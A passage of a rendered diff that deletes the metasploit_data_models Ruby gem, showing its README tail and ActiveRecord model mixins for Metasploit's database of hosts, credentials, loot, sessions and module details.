connection_info = YAML.load_file("path/to/rails-style/db_config_file")
|
|
||||||
ActiveRecord::Base.establish_connection(connection_info['development'])
|
|
||||||
include MetasploitDataModels
|
|
||||||
MetasploitDataModels.create_and_load_ar_classes
|
|
||||||
```
|
|
||||||
|
|
||||||
Basically you need to do the following things:
|
|
||||||
|
|
||||||
1. Establish an ActiveRecord connection. A Rails __config/database.yml__ is ideal for this.
|
|
||||||
2. Include the MetasploitDataModels module.
|
|
||||||
3. Call the class method that builds the AR models into the Mdm namespace( __MetasploitDataModels.create_and_load_ar_classes__ ).
|
|
||||||
|
|
||||||
|
|
||||||
## Developer Info
|
|
||||||
|
|
||||||
### Console
|
|
||||||
The gem includes a console based on [Pry](https://github.com/pry/pry/)
|
|
||||||
|
|
||||||
Give it a path to a working MSF database.yml file for full
|
|
||||||
ActiveRecord-based access to your data.
|
|
||||||
|
|
||||||
__Note:__ "development" mode is hardcoded into the console currently.
|
|
||||||
|
|
||||||
### ActiveRecord::ConnectionError issues
|
|
||||||
Because the gem is defining mixins, there can be no knowledge of the
|
|
||||||
specifics of any "current" ActiveRecord connection. But if ActiveRecord
|
|
||||||
encounters something in a child class that would require knowledge of
|
|
||||||
the connection adapter (e.g. the use of an RDBMS-specific function in
|
|
||||||
a named scope's "WHERE" clause), it will check to see if the adapter
|
|
||||||
supports it and then throw an exception when the connection object
|
|
||||||
(which provides the adapter) is nil.
|
|
||||||
|
|
||||||
This means that, for all but the most trivial cases, you need to use Arel
|
|
||||||
versions of queries instead of ones utilizing straight SQL.
|
|
||||||
|
|
||||||
You'll encounter this sometimes if you do dev work on this gem. A good
|
|
||||||
rule of thumb: anything that goes into the class_eval block must be able
|
|
||||||
to work without knowledge of the AR connection adapter type.
|
|
|
@ -1 +0,0 @@
|
||||||
require "bundler/gem_tasks"
|
|
|
@ -1,63 +0,0 @@
|
||||||
require "active_record"
|
|
||||||
require "active_support"
|
|
||||||
require "active_support/all"
|
|
||||||
require "shellwords"
|
|
||||||
|
|
||||||
require "metasploit_data_models/version"
|
|
||||||
require "metasploit_data_models/serialized_prefs"
|
|
||||||
require "metasploit_data_models/base64_serializer"
|
|
||||||
|
|
||||||
require "metasploit_data_models/validators/ip_format_validator"
|
|
||||||
require "metasploit_data_models/validators/password_is_strong_validator"
|
|
||||||
|
|
||||||
|
|
||||||
# Declare the (blessedly short) common namespace for the ActiveRecord classes
|
|
||||||
module Mdm; end
|
|
||||||
|
|
||||||
module MetasploitDataModels
|
|
||||||
module ActiveRecordModels; end
|
|
||||||
|
|
||||||
# Dynamically create AR classes if being included from Msf::DBManager
|
|
||||||
# otherwise, just make the modules available for arbitrary inclusion.
|
|
||||||
def self.included(base)
|
|
||||||
ar_mixins.each{|file| require file}
|
|
||||||
create_and_load_ar_classes if base.to_s == 'Msf::DBManager'
|
|
||||||
end
|
|
||||||
|
|
||||||
# The code in each of these represents the basic structure of a correspondingly named
|
|
||||||
# ActiveRecord model class. Those classes are explicitly created in our Rails app
|
|
||||||
# for the commercial versions, and the functionality from the mixins is included
|
|
||||||
# into model classes directly.
|
|
||||||
#
|
|
||||||
# When not explicitly overloading the classes in your own files use MetasploitDataModels#create_and_load_ar_classes
|
|
||||||
# to dynamically generate ActiveRecord classes in the Mdm namespace.
|
|
||||||
def self.ar_mixins
|
|
||||||
models_dir = File.expand_path(File.dirname(__FILE__)) + "/metasploit_data_models/active_record_models"
|
|
||||||
Dir.glob("#{models_dir}/*.rb")
|
|
||||||
end
|
|
||||||
|
|
||||||
# Dynamically create ActiveRecord descendant classes in the Mdm namespace
|
|
||||||
def self.create_and_load_ar_classes
|
|
||||||
ar_module_names.each do |cname|
|
|
||||||
class_str =<<-RUBY
|
|
||||||
class Mdm::#{cname} < ActiveRecord::Base
|
|
||||||
include MetasploitDataModels::ActiveRecordModels::#{cname}
|
|
||||||
end
|
|
||||||
RUBY
|
|
||||||
eval class_str, binding, __FILE__, __LINE__ # *slightly* more obvious stack trace
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Derive "constant" strings from the names of the files in
|
|
||||||
# lib/metasploit_data_models/active_record_models
|
|
||||||
def self.ar_module_names
|
|
||||||
ar_mixins.inject([]) do |array, path|
|
|
||||||
filename = File.basename(path).split(".").first
|
|
||||||
c_name = filename.classify
|
|
||||||
c_name << "s" if filename =~ /^[\w]+s$/ # classify can't do plurals
|
|
||||||
array << c_name
|
|
||||||
array
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,22 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ApiKey
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
|
|
||||||
validate do |key|
|
|
||||||
lic = License.get
|
|
||||||
|
|
||||||
if lic and not lic.supports_api?
|
|
||||||
key.errors[:unsupported_product] = " - this product does not support API access"
|
|
||||||
end
|
|
||||||
|
|
||||||
if key.token.to_s.empty?
|
|
||||||
key.errors[:blank_token] = " - the specified authentication token is empty"
|
|
||||||
end
|
|
||||||
|
|
||||||
if key.token.to_s.length < 8
|
|
||||||
key.errors[:token_too_short] = " - the specified authentication token must be at least 8 characters long"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Client
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host"
|
|
||||||
belongs_to :campaign, :class_name => "Campaign"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,78 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Cred
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
belongs_to :service, :class_name => "Mdm::Service"
|
|
||||||
|
|
||||||
unless defined? PTYPES
|
|
||||||
const_def =<<-CONST_DEF
|
|
||||||
PTYPES = {
|
|
||||||
"read/write password" => "password_rw",
|
|
||||||
"read-only password" => "password_ro",
|
|
||||||
"SMB hash" => "smb_hash",
|
|
||||||
"SSH private key" => "ssh_key",
|
|
||||||
"SSH public key" => "ssh_pubkey"
|
|
||||||
}
|
|
||||||
CONST_DEF
|
|
||||||
eval(const_def)
|
|
||||||
end
|
|
||||||
|
|
||||||
eval("KEY_ID_REGEX = /([0-9a-fA-F:]{47})/") unless defined?(KEY_ID_REGEX) # Could be more strict
|
|
||||||
|
|
||||||
def ptype_human
|
|
||||||
humanized = PTYPES.select do |k, v|
|
|
||||||
v == ptype
|
|
||||||
end.keys[0]
|
|
||||||
|
|
||||||
humanized ? humanized : ptype
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns its workspace
|
|
||||||
def workspace
|
|
||||||
self.service.host.workspace
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns its key id. If this is not an ssh-type key, returns nil.
|
|
||||||
def ssh_key_id
|
|
||||||
return nil unless self.ptype =~ /^ssh_/
|
|
||||||
return nil unless self.proof =~ KEY_ID_REGEX
|
|
||||||
$1.downcase # Can't run into NilClass problems.
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns all private keys with matching key ids, including itself
|
|
||||||
# If this is not an ssh-type key, always returns an empty array.
|
|
||||||
def ssh_private_keys
|
|
||||||
return [] unless self.ssh_key_id
|
|
||||||
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"])
|
|
||||||
matches.select {|c| c.workspace == self.workspace}
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns all public keys with matching key ids, including itself
|
|
||||||
# If this is not an ssh-type key, always returns an empty array.
|
|
||||||
def ssh_public_keys
|
|
||||||
return [] unless self.ssh_key_id
|
|
||||||
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"])
|
|
||||||
matches.select {|c| c.workspace == self.workspace}
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns all keys with matching key ids, including itself
|
|
||||||
# If this is not an ssh-type key, always returns an empty array.
|
|
||||||
def ssh_keys
|
|
||||||
(self.ssh_private_keys | self.ssh_public_keys)
|
|
||||||
end
|
|
||||||
|
|
||||||
def ssh_key_matches?(other_cred)
|
|
||||||
return false unless other_cred.kind_of? self.class
|
|
||||||
return false unless self.ptype == other_cred.ptype
|
|
||||||
case self.ptype
|
|
||||||
when "ssh_key"
|
|
||||||
matches = self.ssh_private_keys
|
|
||||||
when "ssh_pubkey"
|
|
||||||
matches = self.ssh_public_keys
|
|
||||||
else
|
|
||||||
false
|
|
||||||
end
|
|
||||||
matches.include?(self) and matches.include?(other_cred)
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::CredFile
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,16 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Event
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
belongs_to :host
|
|
||||||
|
|
||||||
serialize :info, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
scope :flagged, where(:critical => true, :seen => false)
|
|
||||||
scope :module_run, where(:name => 'module_run')
|
|
||||||
|
|
||||||
validates_presence_of :name
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ExploitAttempt
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :exploit_attempt_count
|
|
||||||
validates :host_id, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ExploitedHost
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host"
|
|
||||||
belongs_to :service, :class_name => "Mdm::Service"
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
File diff suppressed because it is too large
Load Diff
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::HostDetail
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :host_detail_count
|
|
||||||
validates :host_id, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,10 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::HostTag
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
base.table_name = "hosts_tags"
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host"
|
|
||||||
belongs_to :tag, :class_name => "Mdm::Tag"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ImportedCred
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,14 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Listener
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
belongs_to :task, :class_name => "Mdm::Task"
|
|
||||||
|
|
||||||
serialize :options, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
validates :address, :presence => true, :ip_format => true
|
|
||||||
validates :port, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,35 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Loot
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host"
|
|
||||||
belongs_to :service, :class_name => "Mdm::Service"
|
|
||||||
|
|
||||||
serialize :data, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
before_destroy :delete_file
|
|
||||||
|
|
||||||
scope :search, lambda { |*args|
|
|
||||||
where(["loots.ltype ILIKE ? OR " +
|
|
||||||
"loots.name ILIKE ? OR " +
|
|
||||||
"loots.info ILIKE ? OR " +
|
|
||||||
"loots.data ILIKE ?",
|
|
||||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
|
||||||
])
|
|
||||||
}
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def delete_file
|
|
||||||
c = Pro::Client.get rescue nil
|
|
||||||
if c
|
|
||||||
c.loot_delete_file(self[:id])
|
|
||||||
else
|
|
||||||
::File.unlink(self.path) rescue nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,15 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Macro
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
|
|
||||||
extend MetasploitDataModels::SerializedPrefs
|
|
||||||
|
|
||||||
serialize :actions, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
serialized_prefs_attr_accessor :max_time
|
|
||||||
|
|
||||||
validates :name, :presence => true, :format => /^[^'|"]+$/
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,6 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModRef
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModuleAction
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
base.table_name = "module_actions"
|
|
||||||
belongs_to :module_detail
|
|
||||||
validate :name, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModuleArch
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
base.table_name = "module_archs"
|
|
||||||
belongs_to :module_detail
|
|
||||||
validate :name, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModuleAuthor
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
base.table_name = "module_authors"
|
|
||||||
belongs_to :module_detail
|
|
||||||
validate :name, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,67 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModuleDetail
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
base.table_name = "module_details"
|
|
||||||
|
|
||||||
has_many :authors, :class_name => "Mdm::ModuleAuthor", :dependent => :destroy, :source => :module_author
|
|
||||||
has_many :mixins, :class_name => "Mdm::ModuleMixin", :dependent => :destroy, :source => :module_mixin
|
|
||||||
has_many :targets, :class_name => "Mdm::ModuleTarget", :dependent => :destroy, :source => :module_target
|
|
||||||
has_many :actions, :class_name => "Mdm::ModuleAction", :dependent => :destroy, :source => :module_action
|
|
||||||
has_many :refs, :class_name => "Mdm::ModuleRef", :dependent => :destroy, :source => :module_ref
|
|
||||||
has_many :archs, :class_name => "Mdm::ModuleArch", :dependent => :destroy, :source => :module_arch
|
|
||||||
has_many :platforms, :class_name => "Mdm::ModulePlatform", :dependent => :destroy, :source => :module_platform
|
|
||||||
|
|
||||||
validate :refname, :presence => true
|
|
||||||
|
|
||||||
validates_associated :authors
|
|
||||||
validates_associated :mixins
|
|
||||||
validates_associated :targets
|
|
||||||
validates_associated :actions
|
|
||||||
validates_associated :archs
|
|
||||||
validates_associated :platforms
|
|
||||||
validates_associated :refs
|
|
||||||
|
|
||||||
def add_author(name, email=nil)
|
|
||||||
if email
|
|
||||||
r = self.authors.build(:name => name, :email => email).save
|
|
||||||
else
|
|
||||||
self.authors.build(:name => name).save
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def add_mixin(name)
|
|
||||||
self.mixins.build(:name => name).save
|
|
||||||
end
|
|
||||||
|
|
||||||
def add_target(idx, name)
|
|
||||||
self.targets.build(:index => idx, :name => name).save
|
|
||||||
end
|
|
||||||
|
|
||||||
def add_action(name)
|
|
||||||
self.actions.build(:name => name).save
|
|
||||||
end
|
|
||||||
|
|
||||||
def add_ref(name)
|
|
||||||
self.refs.build(:name => name).save
|
|
||||||
end
|
|
||||||
|
|
||||||
def add_arch(name)
|
|
||||||
self.archs.build(:name => name).save
|
|
||||||
end
|
|
||||||
|
|
||||||
def add_platform(name)
|
|
||||||
self.platforms.build(:name => name).save
|
|
||||||
end
|
|
||||||
|
|
||||||
def before_destroy
|
|
||||||
Mdm::ModuleAuthor.delete_all('module_detail_id = ?', self.id)
|
|
||||||
Mdm::ModuleMixin.delete_all('module_detail_id = ?', self.id)
|
|
||||||
Mdm::ModuleTarget.delete_all('module_detail_id = ?', self.id)
|
|
||||||
Mdm::ModuleAction.delete_all('module_detail_id = ?', self.id)
|
|
||||||
Mdm::ModuleRef.delete_all('module_detail_id = ?', self.id)
|
|
||||||
Mdm::ModuleArch.delete_all('module_detail_id = ?', self.id)
|
|
||||||
Mdm::ModulePlatform.delete_all('module_detail_id = ?', self.id)
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModuleMixin
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
base.table_name = "module_mixins"
|
|
||||||
belongs_to :module_detail
|
|
||||||
validate :name, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModulePlatform
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
base.table_name = "module_platforms"
|
|
||||||
belongs_to :module_detail
|
|
||||||
validate :name, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModuleRef
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
base.table_name = "module_refs"
|
|
||||||
belongs_to :module_detail
|
|
||||||
validate :name, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,9 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ModuleTarget
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
base.table_name = "module_targets"
|
|
||||||
belongs_to :module_detail
|
|
||||||
validate :name, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,14 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::NexposeConsole
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
serialize :cached_sites, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
validates :name, :presence => true
|
|
||||||
validates :address, :presence => true
|
|
||||||
validates :username, :presence => true
|
|
||||||
validates :password, :presence => true
|
|
||||||
validates :port, :inclusion => {:in => 1..65535}
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,34 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Note
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
notes = base.arel_table
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :note_count
|
|
||||||
belongs_to :service, :class_name => "Mdm::Service"
|
|
||||||
serialize :data, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
scope :flagged, where('critical = true AND seen = false')
|
|
||||||
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
|
|
||||||
scope :search, lambda { |*args|
|
|
||||||
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
|
|
||||||
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
|
|
||||||
"OR ntype ILIKE ?",
|
|
||||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
|
||||||
])
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
after_save :normalize
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def normalize
|
|
||||||
if data_changed? and ntype =~ /fingerprint/
|
|
||||||
host.normalize_os
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Profile
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Ref
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
has_many :vulns, :through => :vulns_refs, :class_name => "Mdm::Vuln"
|
|
||||||
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,29 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Report
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
serialize :options, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
validates_format_of :name, :with => /^[A-Za-z0-9\x20\x2e\x2d\x5f\x5c]+$/, :message => "name must consist of A-Z, 0-9, space, dot, underscore, or dash", :allow_blank => true
|
|
||||||
|
|
||||||
serialize :options, MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
before_destroy :delete_file
|
|
||||||
|
|
||||||
scope :flagged, where('reports.downloaded_at is NULL')
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def delete_file
|
|
||||||
c = Pro::Client.get rescue nil
|
|
||||||
if c
|
|
||||||
c.report_delete_file(self[:id])
|
|
||||||
else
|
|
||||||
::File.unlink(self.path) rescue nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,22 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::ReportTemplate
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
|
|
||||||
before_destroy :delete_file
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def delete_file
|
|
||||||
c = Pro::Client.get rescue nil
|
|
||||||
if c
|
|
||||||
c.report_template_delete_file(self[:id])
|
|
||||||
else
|
|
||||||
::File.unlink(self.path) rescue nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,7 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Route
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
belongs_to :session, :class_name => "Mdm::Session"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,42 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Service
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
eval("STATES = ['open', 'closed', 'filtered', 'unknown']") unless defined? STATES
|
|
||||||
has_many :vulns, :dependent => :destroy, :class_name => "Mdm::Vuln"
|
|
||||||
has_many :notes, :dependent => :destroy, :class_name => "Mdm::Note"
|
|
||||||
has_many :creds, :dependent => :destroy, :class_name => "Mdm::Cred"
|
|
||||||
has_many :exploited_hosts, :dependent => :destroy, :class_name => "Mdm::ExploitedHost"
|
|
||||||
has_many :web_sites, :dependent => :destroy, :class_name => "Mdm::WebSite"
|
|
||||||
has_many :web_pages, :through => :web_sites, :class_name => "Mdm::WebPage"
|
|
||||||
has_many :web_forms, :through => :web_sites, :class_name => "Mdm::WebForm"
|
|
||||||
has_many :web_vulns, :through => :web_sites, :class_name => "Mdm::WebVuln"
|
|
||||||
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :service_count
|
|
||||||
|
|
||||||
has_many :web_pages, :through => :web_sites
|
|
||||||
has_many :web_forms, :through => :web_sites
|
|
||||||
has_many :web_vulns, :through => :web_sites
|
|
||||||
|
|
||||||
scope :inactive, where("services.state != 'open'")
|
|
||||||
scope :with_state, lambda { |a_state| where("services.state = ?", a_state)}
|
|
||||||
scope :search, lambda { |*args|
|
|
||||||
where([
|
|
||||||
"services.name ILIKE ? OR " +
|
|
||||||
"services.info ILIKE ? OR " +
|
|
||||||
"services.proto ILIKE ? OR " +
|
|
||||||
"services.port = ? ",
|
|
||||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
|
|
||||||
])
|
|
||||||
}
|
|
||||||
|
|
||||||
after_save :normalize_host_os
|
|
||||||
|
|
||||||
def normalize_host_os
|
|
||||||
if info_changed?
|
|
||||||
host.normalize_os
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,33 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Session
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host"
|
|
||||||
|
|
||||||
has_one :workspace, :through => :host, :class_name => "Mdm::Workspace"
|
|
||||||
|
|
||||||
has_many :events, :class_name => "Mdm::SessionEvent", :order => "created_at", :dependent => :delete_all
|
|
||||||
has_many :routes, :class_name => "Mdm::Route", :dependent => :delete_all
|
|
||||||
|
|
||||||
scope :alive, where("closed_at IS NULL")
|
|
||||||
scope :dead, where("closed_at IS NOT NULL")
|
|
||||||
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
|
|
||||||
|
|
||||||
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
before_destroy :stop
|
|
||||||
|
|
||||||
def upgradeable?
|
|
||||||
(self.platform =~ /win/ and self.stype == 'shell')
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def stop
|
|
||||||
c = Pro::Client.get rescue nil
|
|
||||||
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
|
|
||||||
end
|
|
||||||
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::SessionEvent
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
|
|
||||||
belongs_to :session, :class_name => "Mdm::Session"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,27 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Tag
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
has_many :hosts_tags, :class_name => "Mdm::HostTag"
|
|
||||||
has_many :hosts, :through => :hosts_tags, :class_name => "Mdm::Host"
|
|
||||||
|
|
||||||
belongs_to :user, :class_name => "Mdm::User"
|
|
||||||
|
|
||||||
validates :name, :presence => true, :format => {
|
|
||||||
:with => /^[A-Za-z0-9\x2e\x2d_]+$/, :message => "must be alphanumeric, dots, dashes, or underscores"
|
|
||||||
}
|
|
||||||
validates :desc, :length => {:maximum => 8191, :message => "desc must be less than 8k."}
|
|
||||||
|
|
||||||
before_destroy :cleanup_hosts
|
|
||||||
|
|
||||||
def to_s
|
|
||||||
name
|
|
||||||
end
|
|
||||||
|
|
||||||
def cleanup_hosts
|
|
||||||
# Clean up association table records
|
|
||||||
Mdm::HostTag.delete_all("tag_id = #{self.id}")
|
|
||||||
end
|
|
||||||
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,28 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Task
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval{
|
|
||||||
|
|
||||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
|
||||||
|
|
||||||
serialize :options, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
